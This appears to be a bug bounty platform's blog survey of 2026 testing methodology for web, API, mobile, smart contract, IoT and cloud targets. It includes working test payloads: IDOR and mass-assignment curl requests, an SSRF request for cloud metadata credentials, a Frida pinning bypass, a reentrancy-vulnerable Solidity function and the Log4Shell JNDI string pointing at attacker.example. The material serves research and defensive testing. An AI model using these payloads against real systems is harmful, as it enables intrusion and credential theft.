The State of Bug Bounty 2026
The full scope walkthrough: web, API, iOS and Android, Web3 and smart contracts, IoT, cloud, and AI, with real methodology and code for each, plus what zero day actually means and where CVSS 4.0 adoption stands.
Bug bounty has matured from an experiment a handful of tech companies ran into a standard line item in most serious security programs. That maturity shows up less in headline payout numbers, which vary wildly by industry and are easy to cherry-pick, and more in what programs are actually asking researchers to look for, across an attack surface that has quietly gotten much wider. This is a full walk through that surface, ecosystem by ecosystem, with real methodology and real code, plus where zero days and severity scoring actually stand going into 2026.
Web applications: still the volume leader, for a structural reason
Every other category on this list eventually talks to a web backend, which is why web application findings remain the largest single volume category by a wide margin, even as specialized categories grow faster in percentage terms.
Broken object level authorization (IDOR, BOLA) has been the most consistently reported vulnerability class across public bug bounty platforms for several years running, and nothing about the shift to API-first architectures has changed that. If anything, it has made the problem worse: a single backend endpoint now serves a web app, a mobile app, and a partner integration, and each client-side surface adds another place where an object ID gets passed straight into a query without an ownership check. We cover the full methodology, manual and automated, in a dedicated field guide, but the baseline test looks like this:
1# Baseline: fetch your own resource as an authenticated user2curl -s -H "Authorization: Bearer $TOKEN_USER_A" \3 "https://api.target.test/v1/reports/1042" | jq .4 5# Swap in a resource ID that belongs to a different account,6# same token, same session, no privilege change requested7curl -s -H "Authorization: Bearer $TOKEN_USER_A" \8 "https://api.target.test/v1/reports/1041" | jq .9 10# If the second call returns another user's data, or lets you11# mutate it, the authorization check is missing or scoped wrong12curl -s -X PATCH -H "Authorization: Bearer $TOKEN_USER_A" \13 -H "Content-Type: application/json" \14 -d '{"status":"Closed"}' \15 "https://api.target.test/v1/reports/1041"Our own disclosure archive includes a clean example of this exact pattern one layer deeper than the obvious case: a broken access control finding that let a researcher send a mediation request against a report they did not own, a workflow-mutation endpoint rather than the more commonly tested read path, and a Firestore rules misconfiguration granting full read access to user data, reports, and programs, which is the same authorization gap one architectural layer down, at the database rules rather than the API handler.
Server-side request forgery deserves special attention because of what it can pivot into. In cloud-hosted environments, an SSRF that can reach 169.254.169.254, the instance metadata service on AWS, GCP, and Azure, can retrieve temporary IAM credentials for the host's attached role. This exact pivot, an SSRF vulnerability chained into metadata-service credential theft, was the root cause of one of the most extensively documented cloud breaches on record, a 2019 incident affecting a major financial services company, disclosed publicly through court filings and analyzed at length across the industry since. Testing for it is straightforward once you have an SSRF primitive:
1# If an endpoint fetches a URL you control (image proxy, webhook2# validator, PDF renderer, link preview), point it at the metadata3# service instead of an external host4curl -s "https://target.example.com/api/fetch-preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"A response containing a role name, followed by a second request appending that role name to the path, returning temporary AWS credentials, is a Critical finding almost regardless of what the SSRF's original intended function was.
Authentication and session handling remains a rich category on its own, particularly around JSON Web Tokens. Algorithm confusion, where a server configured to verify RS256-signed tokens can be tricked into accepting an HS256 token signed with the RSA public key treated as an HMAC secret, is still found regularly in production, and we walk through the full attack chain in a dedicated JWT deep dive. Our own archive includes a related, simpler but equally severe class in the same family: an exposed Firebase API key that allowed unauthenticated account creation and email-verification bypass, which is the reminder that authentication bypass findings are rarely exotic, they are usually a missing check on an otherwise ordinary endpoint.
API security as its own discipline
REST, GraphQL, and RPC-style APIs each have failure modes that do not show up if you only think in terms of "web app testing."
Mass assignment happens when an API blindly deserializes a request body into a model and persists whatever fields were present, including ones the client was never meant to set.
1# The legitimate update only touches displayName2curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \3 -H "Content-Type: application/json" \4 -d '{"displayName":"New Name"}' \5 "https://api.target.test/v1/users/me"6 7# Test whether privileged fields are also accepted, even though the8# UI never exposes them9curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \10 -H "Content-Type: application/json" \11 -d '{"displayName":"New Name","role":"admin","isVerified":true,"walletBalance":999999}' \12 "https://api.target.test/v1/users/me"GraphQL introspection and batching are the two checks worth running against any GraphQL endpoint before anything else. Introspection reveals the entire schema, including fields and mutations never referenced by the client application:
1query IntrospectionCheck {2 __schema {3 types {4 name5 fields {6 name7 args { name type { name } }8 }9 }10 }11}If introspection is left enabled in production, it hands you a complete map of every mutation and field the backend supports, including internal or admin-only ones the frontend simply chooses not to render. Batching abuse, sending an array of hundreds of queries in a single HTTP request, is the other common finding, useful both for brute-forcing rate-limited endpoints (each batched query can bypass a naive per-request rate limiter) and for resource exhaustion against expensive resolvers.
Rate limiting bypass is worth testing on any endpoint that matters, using header manipulation (X-Forwarded-For, X-Real-IP), alternate casing or trailing slashes on the path, and parallel requests against a race-condition window rather than sequential ones, since many rate limiters check and increment a counter non-atomically.
Mobile: iOS and Android are genuinely different disciplines
Android testing starts with the APK itself, long before a device is involved. Decompiling with jadx or apktool routinely surfaces hardcoded API keys, embedded service account credentials, and debug endpoints left active in production builds, a category we cover start to finish in a dedicated Android reverse engineering guide:
1jadx -d ./decompiled target-app.apk2grep -rniE "api[_-]?key|secret|AIza[0-9A-Za-z_-]{35}|firebase" ./decompiled/sources | head -30Beyond static secrets, exported Activities, Services, and Broadcast Receivers declared without android:exported="false" (or without a matching permission on API 31+, where the attribute became mandatory) are directly reachable by any other app on the device, an attack surface with no web equivalent at all. TLS certificate pinning, when implemented, is commonly bypassed for dynamic testing with Frida:
1// Frida script skeleton to hook and neutralize a common OkHttp2// certificate pinning check for authorized dynamic testing3Java.perform(function () {4 var CertificatePinner = Java.use("okhttp3.CertificatePinner");5 CertificatePinner.check.overload(6 "java.lang.String", "java.util.List"7 ).implementation = function (hostname, certs) {8 console.log("[*] Pinning check bypassed for " + hostname);9 return;10 };11});iOS shifts the emphasis toward the Keychain, App Transport Security exceptions, and Universal Links. A Universal Link or custom URL scheme that is registered but not properly validated on receipt can let a malicious app or webpage hijack the flow meant for a legitimate deep link, sometimes turning a password-reset or magic-link auth flow into an account takeover primitive, the full chain of which we detail in a dedicated iOS deep link hijacking writeup. ATS exceptions (NSAllowsArbitraryLoads or per-domain overrides) in Info.plist are a quick, high-signal static check: any domain listed there is a domain the app will happily talk to over plaintext or with relaxed certificate validation, worth testing directly.
Web3 and smart contracts: mistakes that cannot be patched after the fact
Smart contract security inverts the usual remediation model. Once a contract is deployed to a chain like Ethereum, it is effectively immutable, there is no hotfix, only a migration to a new contract address and, if funds are already gone, no way to claw them back. That single fact shapes the entire discipline.
Reentrancy is the canonical smart contract vulnerability class, made famous by a 2016 incident on the Ethereum network in which a vulnerable withdrawal function allowed an attacker's contract to recursively call back into the vulnerable contract before its internal balance was updated, ultimately draining roughly sixty million dollars in ether and leading directly to the Ethereum and Ethereum Classic chain split. The vulnerable pattern is short enough to show in full:
1// VULNERABLE: external call happens before the internal state update,2// letting a malicious receiving contract re-enter withdraw() and drain3// funds before its balance is ever zeroed out4function withdraw(uint256 amount) public {5 require(balances[msg.sender] >= amount);6 (bool success, ) = msg.sender.call{value: amount}("");7 require(success);8 balances[msg.sender] -= amount;9}10 11// SAFE: checks-effects-interactions ordering. State is updated before12// any external call is made, so a reentrant call sees a zero balance.13function withdrawSafe(uint256 amount) public {14 require(balances[msg.sender] >= amount);15 balances[msg.sender] -= amount;16 (bool success, ) = msg.sender.call{value: amount}("");17 require(success);18}Flash loan attacks are the modern evolution of this category: an attacker borrows an enormous, uncollateralized sum for the duration of a single transaction, uses it to manipulate an on-chain price oracle or exploit a logic flaw, then repays the loan in the same transaction, all atomically, meaning if the exploit fails the entire transaction simply reverts with no cost to the attacker beyond gas. This makes economic exploits, oracle manipulation, and price-dependent liquidation logic disproportionately high-value testing targets compared to classic memory-safety-style bugs. Access control on privileged functions (an onlyOwner modifier accidentally omitted from a function that mints tokens or upgrades a proxy implementation) rounds out the highest-signal categories, and is usually the fastest class to test, since it only requires reading the contract's public and external function list and checking each state-changing one for a modifier.
IoT and hardware: the attack surface below the network stack
IoT programs reward a genuinely different skill set: firmware extraction, debug interface access, and supply-chain component analysis over anything reachable purely through an HTTP request. Default or hardcoded credentials remain the single most consequential class in this category, made unavoidably concrete by the Mirai botnet, which in 2016 compromised hundreds of thousands of IP cameras, routers, and DVRs using a hardcoded list of fewer than seventy common factory default username and password combinations, then used that botnet to launch some of the largest recorded distributed denial-of-service attacks at the time, including one that took down a major DNS provider and, with it, access to a large swath of the internet's most-visited sites for several hours.
Practical testing angles for an in-scope device include UART and JTAG interfaces exposed on the PCB (a serial console dropped into a root shell with no authentication is still found regularly), firmware images extractable via SPI flash dumping or an unauthenticated update-check endpoint, and MQTT brokers deployed with no authentication and a predictable topic structure:
1# Firmware analysis starting point once an image is extracted2binwalk -e firmware.bin3strings ./_firmware.bin.extracted/**/*.bin | grep -iE "password|admin|root:|telnet"4 5# Unauthenticated MQTT broker check6mosquitto_sub -h target-device.local -p 1883 -t '#' -vCloud misconfiguration: the category that never runs dry
Exposed object storage remains one of the highest-volume, lowest-effort-to-find categories on the entire list, and we cover systematic bucket discovery in a dedicated cloud storage guide. Once access is found, the more interesting follow-on question is what an over-permissioned identity can reach next, which is where AWS IAM privilege escalation paths come in, a class of finding where a low-privilege credential can chain a series of individually-reasonable-looking permissions (iam:PassRole plus lambda:CreateFunction, for example) into full account takeover. Our own archive includes a real example of the underlying credential-exposure pattern that makes this category so consequential in the first place: a report covering multiple critical vulnerabilities across Firebase and Firestore configuration.
AI and LLM-integrated features: the newest scope category, already producing real findings
Prompt injection, insecure output handling, and excessive agency in AI-integrated features have gone from a hypothetical category to a standard line item across serious programs, covered in full in our own deep dive on closing the AI security gap, a broader look at prompt injection against production LLM applications, and what happens once tool-calling agents themselves become the attack surface. It is also, increasingly, changing how researchers work, not just what they test, a trend covered separately in how top researchers are using AI to find more impactful vulnerabilities and the flip side of that same trend, what happens when AI-written reports flood a program's queue with noise.
What "zero day" actually means in a bug bounty context
The term gets used loosely, worth being precise about. A true zero day is a vulnerability being actively exploited in the wild before the vendor knows it exists or has a patch available, zero days of advance warning. Most bug bounty findings are not this, they are responsibly disclosed to a program that had zero prior knowledge but also zero active exploitation, an important distinction for severity and urgency framing even though both get colloquially called "zero days" by researchers.
When a finding does involve a CVE-worthy vulnerability in third-party software rather than a program's own code, coordinated disclosure timelines matter. Google's Project Zero popularized, and continues to enforce, a 90-day disclosure deadline from vendor notification to public disclosure regardless of whether a patch exists, a policy explicitly designed to pressure vendors against indefinitely sitting on known issues. The most consequential real-world argument for tight disclosure timelines remains Log4Shell, CVE-2021-44228, disclosed in December 2021: a JNDI lookup feature in the widely-embedded Java logging library Log4j allowed unauthenticated remote code execution via a single crafted string logged by an application, ${jndi:ldap://attacker.example/a}, reachable through something as mundane as a User-Agent header. Because Log4j was a transitive dependency embedded three and four layers deep inside countless other libraries and platforms, the true scope of affected systems took months to fully map, and it remains the reference case study for why supply-chain depth, not just direct dependencies, has to be part of any serious vulnerability response plan.
Severity scoring is drifting toward CVSS 4.0, slowly
CVSS v3.1 is still the working standard most programs score against, but v4.0's explicit separation of exploitability, impact to the vulnerable system, and impact to downstream systems is a genuinely better fit for how modern reports actually read. A report that pivots from a low-privilege API key leak into full account takeover on a different service is exactly the case v3.1's single "Scope" flag struggled to represent cleanly. Expect more programs to accept v4.0 vectors alongside v3.1 through 2026 rather than a hard cutover, since changing a program's bounty table to match a new scoring standard is a real operational lift, not a config toggle.
Time-to-first-response is the metric that actually predicts researcher retention
Bounty size gets the headlines, but the metric that most reliably predicts whether a researcher keeps submitting to a program is how fast they get a real, substantive first response, not an auto-acknowledgment. Programs holding a consistent sub-72-hour first response, even when the eventual resolution takes weeks, retain far more repeat researchers than programs with a fast auto-reply and a multi-week silence afterward. Researchers optimize for programs that respect their time, and a fast, honest "we're looking into this, initial severity assessment pending" beats a fast form-letter every time.
What this means for researchers going into 2026
The highest-leverage skills are not exotic. They are: writing an access-control test methodology that is fast to repeat across every endpoint in scope regardless of whether it is REST, GraphQL, mobile, or on-chain, understanding how to score real business impact rather than theoretical worst case, and being one of the first researchers building real competence in AI-feature, Web3, and IoT testing before those categories get crowded. The programs that reward this fastest are the ones investing in triage speed and researcher communication, not just bounty table size, and that is the trend worth watching more than any single payout figure.
Related Posts

Prompt Injection in the Wild: Breaking LLM-Powered Applications
Direct and indirect prompt injection explained through realistic, tool-calling attack chains, plus a concrete methodology for testing AI features in scope.

IAM Privilege Escalation Paths in AWS: A Bug Hunter's Field Guide
Individually harmless-looking IAM permissions that chain together into full account compromise, and the exact commands used to find and prove each path.

iOS Deep Link Hijacking: Turning Universal Links into Account Takeover
Universal Links closed the classic custom-scheme hijack, but validation gaps on the receiving end still turn deep links into a real attack surface.